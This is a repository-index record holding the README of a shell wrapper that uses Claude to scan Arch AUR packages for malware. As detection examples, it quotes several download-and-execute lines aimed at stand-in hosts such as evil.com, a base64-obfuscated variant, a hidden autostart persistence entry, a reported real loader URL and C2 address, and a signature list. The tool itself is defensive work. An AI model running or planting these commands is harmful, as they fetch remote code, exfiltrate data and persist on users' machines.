{"id":30290773,"url":"https://github.com/patrickjaja/arch-security-wrapper","last_synced_at":"2025-08-16T23:55:25.775Z","repository":{"id":307572743,"uuid":"1029973891","full_name":"patrickjaja/arch-security-wrapper","owner":"patrickjaja","description":"wrapper script that will security review pkgbuild files using claude cli","archived":false,"fork":false,"pushed_at":"2025-08-15T19:12:58.000Z","size":382,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2025-08-15T21:42:45.339Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Shell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/patrickjaja.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-07-31T22:06:06.000Z","updated_at":"2025-08-15T19:13:02.000Z","dependencies_parsed_at":"2025-08-01T00:53:31.982Z","dependency_job_id":"89a9a5fb-91e2-4547-b926-8fbbebd87f56","html_url":"https://github.com/patrickjaja/arch-security-wrapper","commit_stats":null,"previous_names":["patrickjaja/arch-security-wrapper"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/patrickjaja/arch-security-wrapper","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjaja%2Farch-security-wrapper","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjaja%2Farch-security-wrapper/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjaja%2Farch-security-wrapper/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjaja%2Farch-security-wrapper/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjaja","download_url":"https://codeload.github.com/patrickjaja/arch-security-wrapper/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjaja%2Farch-security-wrapper/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":270786441,"owners_count":24644563,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-08-16T02:00:11.002Z","response_time":91,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2025-08-16T23:55:24.177Z","updated_at":"2025-08-16T23:55:25.765Z","avatar_url":"https://github.com/patrickjaja.png","language":"Shell","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Enhanced Package Security Scanner v2.0 - README\n\n## Overview\n\nThe Enhanced Package Security Scanner is an intelligent wrapper script that reviews Arch User Repository (AUR) packages for security threats before updating them. It uses Claude AI to analyze package files, detect malware patterns, and provides smart security gating for system updates.\n\n## ✨ New Features in v2.0\n\n- **🔍 Binary Pattern Scanning**: Scans pre-built binaries for suspicious URLs and crypto wallets\n- **🏛️ Official Package Review**: Optional security review of official packages (use `--review-official`)\n- **⚖️ Smart Risk Assessment**: Improved categorization (NONE/LOW = safe, MEDIUM = warning, HIGH/CRITICAL = blocked)\n- **🩹 Remediation Suggestions**: Claude provides specific steps to fix security issues\n- **❌ False Positive Fix**: Pre-built binaries from official sources no longer incorrectly flagged\n- **🎯 Selective Review**: Choose specific packages to review instead of all-or-nothing\n\n## How the Review Process Works\n\n### Step-by-Step Process\n\n1. **Check for Updates**\n   ```bash\n   yay -Qua  # Lists all AUR packages with available updates\n   ```\n\n2. **Download Package Files**\n   ```bash\n   yay -G package-name  # Downloads to temporary directory\n   ```\n\n3. **Send to Claude for Analysis**\n   ```bash\n   # The script sends ALL files in the package directory to Claude\n   claude --print \"Security review prompt...\" .\n   ```\n\n4. **Claude's Analysis Method**\n\n   Claude performs a comprehensive security review by:\n\n   #### a) **Pattern Recognition**\n    - Searches for known malware patterns from recent attacks\n    - Identifies suspicious command combinations\n    - Detects obfuscation techniques\n\n   #### b) **Code Analysis**\n   ```bash\n   # Claude looks for patterns like:\n   curl malicious-url | bash\n   wget -O- evil.com | sh\n   python -c \"$(curl ...)\"\n   echo \"base64string\" | base64 -d | bash\n   ```\n\n   #### c) **Behavioral Analysis**\n    - Network connections to unknown hosts\n    - File system modifications outside package scope\n    - Persistence mechanisms (systemd, cron, bashrc)\n    - Privilege escalation attempts\n\n   #### d) **URL Verification**\n    - Checks for suspicious domains\n    - Identifies URL shorteners\n    - Detects pastebin-like services\n    - Validates source URLs against expected patterns\n\n### Claude's Review Methodology\n\n```\n┌─────────────────────────────────────────┐\n│           CLAUDE'S ANALYSIS             │\n├─────────────────────────────────────────┤\n│ 1. Parse PKGBUILD                       │\n│    ├─ Check source URLs                 │\n│    ├─ Analyze build() function          │\n│    ├─ Review install hooks              │\n│    └─ Validate checksums                │\n├─────────────────────────────────────────┤\n│ 2. Scan Additional Files                │\n│    ├─ Shell scripts (.sh)               │\n│    ├─ Install scripts (.install)        │\n│    ├─ Patch files (.patch)              │\n│    └─ Configuration files               │\n├─────────────────────────────────────────┤\n│ 3. Threat Detection                     │\n│    ├─ Known malware signatures          │\n│    ├─ Suspicious behavior patterns      │\n│    ├─ Obfuscation techniques            │\n│    └─ Unusual system modifications      │\n├─────────────────────────────────────────┤\n│ 4. Risk Assessment                      │\n│    ├─ CRITICAL: RCE, RAT, ransomware    │\n│    ├─ HIGH: Data theft, backdoors       │\n│    ├─ MEDIUM: Tracking, adware          │\n│    └─ LOW: Minor privacy concerns       │\n└─────────────────────────────────────────┘\n```\n\n## What Gets Reviewed?\n\n### 1. **PKGBUILD File** (Primary)\n\nClaude analyzes every line of the PKGBUILD for:\n\n```bash\n# Suspicious source downloads\nsource=(\"https://random-pastebin.com/raw/x8f3k2\")  # ❌ Flagged\n\n# Hidden commands in functions\nbuild() {\n    make\n    curl -s evil.com/backdoor | bash  # ❌ Flagged\n}\n\n# Malicious install hooks\npost_install() {\n    echo \"alias ls='ls;curl evil.com/log'\" \u003e\u003e /etc/bash.bashrc  # ❌ Flagged\n}\n```\n\n### 2. **Launcher Scripts**\n\nThe most common attack vector - wrapper scripts that execute before the actual program:\n\n```bash\n#!/bin/bash\n# google-chrome-stable.sh - This entire file is analyzed\n\n# ❌ This would be detected:\npython -c \"$(curl https://segs.lol/TfPjm0)\"\n\n# ❌ This would also be caught:\nif [ ! -f ~/.config/.initialized ]; then\n    wget -qO- https://evil.com/init.sh | bash\n    touch ~/.config/.initialized\nfi\n\nexec /opt/google/chrome/chrome \"$@\"\n```\n\n### 3. **Source Files Analysis**\n\nEvery file in the package directory is scanned:\n\n```\nPackage Directory:\n├── PKGBUILD          ← Full analysis\n├── chrome.sh         ← Checked for malicious code\n├── chrome.desktop    ← Verified for exec tampering\n├── chrome.install    ← Reviewed for malicious hooks\n└── patches/\n    └── fix.patch     ← Analyzed for code injection\n```\n\n### 4. **Deep Code Inspection**\n\nClaude performs multi-layer analysis:\n\n```bash\n# Layer 1: Obvious malware\ncurl evil.com | bash  # Immediately flagged\n\n# Layer 2: Obfuscated malware\necho \"Y3VybCBldmlsLmNvbSB8IGJhc2g=\" | base64 -d | sh  # Decoded and flagged\n\n# Layer 3: Multi-stage malware\nTMP=$(mktemp)\nwget -O $TMP https://cdn.site.com/jquery.js  # Suspicious if not actual jQuery\nchmod +x $TMP\n$TMP  # Flagged as execution of downloaded content\n\n# Layer 4: Persistence attempts\nmkdir -p ~/.config/autostart\ncat \u003e ~/.config/autostart/updater.desktop \u003c\u003c EOF\n[Desktop Entry]\nExec=bash -c 'curl evil.com/persist.sh | bash'\nHidden=true\nEOF  # Flagged as hidden autostart\n```\n\n## How Claude Detects Threats\n\n### 1. **Signature-Based Detection**\n\nClaude knows recent malware patterns:\n\n```python\n# Known malware signatures from recent attacks:\nmalware_signatures = [\n    'python -c \"$(curl',\n    'segs.lol',\n    'exec(base64.b64decode',\n    'systemd-initd',  # Known malware process name\n]\n```\n\n### 2. **Heuristic Analysis**\n\nBehavioral patterns that indicate malware:\n\n```bash\n# Suspicious behavior combinations:\n- Download + Execute in same command\n- Base64/Hex encoding + Execution  \n- Hidden file creation + Autostart\n- System file modification + No clear reason\n```\n\n### 3. **Anomaly Detection**\n\nUnusual patterns for the package type:\n\n```bash\n# Why would a browser package:\n- Create systemd services?\n- Modify .bashrc?\n- Download additional scripts?\n- Connect to pastebin services?\n```\n\n### 4. **Context-Aware Analysis**\n\nClaude understands package context:\n\n- **Browser packages** shouldn't create system services\n- **Text editors** shouldn't need network access during install\n- **Themes** shouldn't execute shell commands\n- **Fonts** shouldn't modify PATH\n\n## Security Report Format\n\n### Claude's Response Structure\n\n```yaml\nVERDICT: [SAFE/THREAT DETECTED]\nRISK: [NONE/LOW/MEDIUM/HIGH/CRITICAL]\nSUMMARY: One-line description of findings\n\nDETAILS:\n- Specific file and line numbers\n- Exact malicious code found\n- Explanation of what the code does\n- Potential impact on system\n- Similar to known malware: [Yes/No]\n\nSUSPICIOUS URLS:\n- https://segs.lol/TfPjm0 (hosts Python RAT)\n- https://paste.bin/raw/x8k3 (obfuscated payload)\n\nINDICATORS OF COMPROMISE:\n- Creates: ~/.config/systemd/user/evil.service\n- Modifies: /etc/bash.bashrc\n- Downloads: /tmp/systemd-initd\n- Connects to: 130.162.225.47:8080\n```\n\n## Real-World Example\n\n### The google-chrome-stable Attack\n\nHere's how Claude would analyze the real malware:\n\n```bash\n# Claude receives this file: google-chrome-stable.sh\n#!/bin/bash\n# Wrapper script for Google Chrome\n\n# Update check (looks innocent)\ncheck_updates() {\n    echo \"Checking for updates...\"\n}\n\n# ❌ MALICIOUS CODE - Claude detects this\npython -c \"$(curl -s https://segs.lol/TfPjm0)\"\n\n# Launch Chrome normally\nexec /opt/google/chrome/google-chrome-stable \"$@\"\n```\n\n**Claude's Analysis:**\n```\nVERDICT: THREAT DETECTED\nRISK: CRITICAL\nSUMMARY: Remote code execution via curl downloading Python malware\n\nDETAILS:\n- File: google-chrome-stable.sh\n- Line 11: python -c \"$(curl -s https://segs.lol/TfPjm0)\"\n- This downloads and executes arbitrary Python code\n- The Python script installs a Remote Access Trojan\n- Creates persistence via systemd service\n- Gives attacker full control of system\n\nSUSPICIOUS URLS:\n- https://segs.lol/TfPjm0 → Python loader script\n- Secondary payload from loader → RAT binary\n\nINDICATORS OF COMPROMISE:\n- Creates: /tmp/systemd-initd (fake systemd process)\n- Creates: ~/.config/systemd/user/[random].service\n- Network: Connects to C2 server on port 8080\n```\n\n## What Makes This Approach Effective?\n\n### 1. **Comprehensive File Analysis**\n- Reviews ALL files, not just PKGBUILD\n- Malware often hides in launcher scripts\n- Can detect multi-stage attacks\n\n### 2. **AI Pattern Recognition**\n- Claude recognizes obfuscation techniques\n- Understands context (why is a browser doing X?)\n- Can decode base64/hex automatically\n\n### 3. **Real-Time Analysis**\n- Checks packages at update time\n- Uses latest threat intelligence\n- Adapts to new attack patterns\n\n### 4. **Detailed Reporting**\n- Shows exact malicious code\n- Explains what it does\n- Provides IoCs for system checking\n\n## Limitations and Considerations\n\n### What It CAN Detect:\n✅ Remote code execution  \n✅ Known malware patterns  \n✅ Obfuscated payloads  \n✅ Suspicious network activity  \n✅ Persistence mechanisms  \n✅ System modifications\n\n### What It CANNOT Detect:\n❌ Novel zero-day techniques  \n❌ Deeply obfuscated malware (multiple encoding layers)  \n❌ Malware in compiled binaries  \n❌ Time-bomb malware (activates later)  \n❌ Supply chain attacks on upstream\n\n## Usage Examples\n\n### Basic Usage\n```bash\n# Standard update with AUR security review\n./secure-update.sh\n\n# Review official packages too (time-consuming)\n./secure-update.sh --review-official\n\n# Skip security scanning (not recommended)\n./secure-update.sh --skip-scan\n\n# Use faster Claude model for quicker reviews\n./secure-update.sh --model=haiku\n```\n\n### Command Line Options\n```bash\nOptions:\n  --full-scan         Scan all installed AUR/chaotic packages (not just updates)\n  --scan-all          Scan ALL packages including official repos (paranoid mode)\n  --skip-scan         Skip security scan entirely (dangerous!)\n  --official-only     Only update official repo packages\n  --review-official   Review official packages too (time-consuming!)\n  --model=MODEL       Claude model: haiku (fast), sonnet (balanced), opus (thorough)\n  --parallel=N        Number of parallel scan jobs (default: 10)\n  --show-all          Show all packages regardless of count\n  --max-display=N     Maximum packages to display (default: 50)\n```\n\n## Example Output\n\nThe scanner shows a clear selection interface:\n\n![Security Review Selection](2025-08-15_17-21.png)\n\nAnd provides detailed results with risk assessment:\n\n![Security Review Results](2025-08-15_17-22.png)\n\n## Risk Levels Explained\n\n| Risk Level | Action | Description |\n|------------|--------|-------------|\n| **NONE** | ✅ Safe | No security issues detected |\n| **LOW** | ✅ Safe | Minor notes (e.g., downloads binaries - normal for -bin packages) |\n| **MEDIUM** | ⚠️ Warning | Proceed with caution, review recommended |\n| **HIGH** | ❌ Blocked | Suspicious patterns detected, manual review required |\n| **CRITICAL** | ❌ Blocked | Malware detected, updates blocked for safety |\n\n## Best Practices\n\n1. **Use Selective Review**\n   ```bash\n   # Review only packages you're unsure about\n   ./secure-update.sh\n   # Choose: a (all), 1,2,3 (specific), or 1-5 (range)\n   ```\n\n2. **Review Claude's Findings**\n    - Read remediation suggestions for flagged packages\n    - Understand what each package does before installing\n    - Check the detailed report for context\n\n3. **Check Package Reputation**\n    - Votes and comments on AUR\n    - Maintainer history and activity\n    - First submitted date and update frequency\n\n4. **Use Official Repos When Possible**\n    - Official packages are reviewed by Arch maintainers\n    - AUR is convenience vs security tradeoff\n\n## Integration with System\n\n```bash\n# ~/.bashrc or ~/.zshrc - Replace dangerous yay usage\nalias secure-update='~/bin/secure-update.sh'\nalias yay-update='echo \"Use secure-update for safer AUR updates\"'\n\n# Smart yay wrapper that blocks dangerous operations\nfunction yay() {\n    if [[ \"$1\" == \"-Syu\"* ]] || [[ \"$1\" == \"-Syyu\"* ]]; then\n        echo \"⚠️  Use 'secure-update' for safe AUR updates with security review\"\n        return 1\n    fi\n    command yay \"$@\"\n}\n```\n\n## Sample Security Report\n\nSee [aur-security-report-example.log](aur-security-report-20250815-172029.log) for a complete example of the security analysis output.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpatrickjaja%2Farch-security-wrapper","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fpatrickjaja%2Farch-security-wrapper","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpatrickjaja%2Farch-security-wrapper/lists"}